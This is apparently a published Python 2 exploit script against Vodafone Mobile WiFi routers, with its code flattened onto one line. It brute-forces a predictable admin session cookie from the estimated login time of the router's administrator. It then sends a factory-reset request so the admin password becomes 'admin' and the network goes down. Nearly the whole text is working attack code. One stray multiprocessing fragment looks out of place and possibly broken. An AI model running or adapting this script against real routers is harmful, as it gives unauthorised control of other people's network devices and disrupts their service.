|
import urllib2 import json from datetime import datetime, timedelta import time import httplib from threading import Thread from Queue import Queue from multiprocessing import process print """ Vodafone Mobile WiFi - Password reset exploit (Daniele Linguaglossa) """ thread_lock = False session = "" def unix_time_millis(dt): epoch = datetime.utcfromtimestamp(0) return int(((dt - epoch).total_seconds() * 1000.0) / 1000) a=False def check_process_output(): print 1 p = process.Process(target=check_process_output) p.start() print a exit(0) def crack(queue): global thread_lock global session while True: if thread_lock: exit(0) if not queue.empty(): cookie = queue.get() headers = {'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % cookie} req = urllib2.Request("http://192.168.0.1/goform/goform_get_cmd_process?cmd=AuthMode&_=%s" % time.time(), None, headers) result = urllib2.urlopen(req).read() if json.loads(result)["AuthMode"] != "": print "[+] Found valid admin session!" print "[INFO] Terminating other threads ... please wait" session = cookie queue.task_done() thread_lock = True def start_threads_with_args(target, n, arg): thread_pool = [] for n_threads in range(0, n): thread = Thread(target=target, args=(arg,)) thread_pool.append(thread) thread_pool[-1].start() return thread_pool def start_bruteforce(): global session global thread_lock queue = Queue(0) start_threads_with_args(crack, 15, queue) print"[!] Trying fast bruteforce..." for x in range(0, 1000): if thread_lock: break queue.put("123abc456def789%03d" % x) while True: if session != "": return session if queue.empty(): break print "[!] Trying slow bruteforce..." for milliseconds in range(0, how_many): if thread_lock: break queue.put("123abc456def789%s" % (start + milliseconds)) while True: if session != "": return session if queue.empty(): break return session if __name__ == "__main__": now = datetime.now() hours = raw_input("How many hours ago admin logged in: ") minutes = raw_input("How many minutes ago admin logged in: ") init = datetime(now.year, now.month, now.day, now.hour, now.minute) - timedelta(hours=int(hours), minutes=int(minutes)) end = datetime(now.year, now.month, now.day, 23, 59, 59, 999999) start = unix_time_millis(init) how_many = unix_time_millis(end) - start + 1 print "[+] Starting session bruteforce with 15 threads" valid_session = "" try: valid_session = start_bruteforce() except KeyboardInterrupt: print "[-] Exiting.." thread_lock = True exit(0) if valid_session == "": print "[!] Can't find valid session :( quitting..." exit(0) print "[+] Resetting router password to 'admin' , network may be down for a while" headers = {'Referer': 'http://192.168.0.1/home.htm', 'Cookie': "stok=%s" % valid_session} req = urllib2.Request("http://192.168.0.1/goform/goform_set_cmd_process", "goformId=RESTORE_FACTORY_SETTINGS&_=%s" % time.time(), headers) try: urllib2.urlopen(req).read() except httplib.BadStatusLine: print "[!] Password resetted to admin! have fun!" exit(0) except Exception: print "[x] Error during password reset" print "[-] Can't reset password try manually, your session is: %s" % valid_session
|
|
|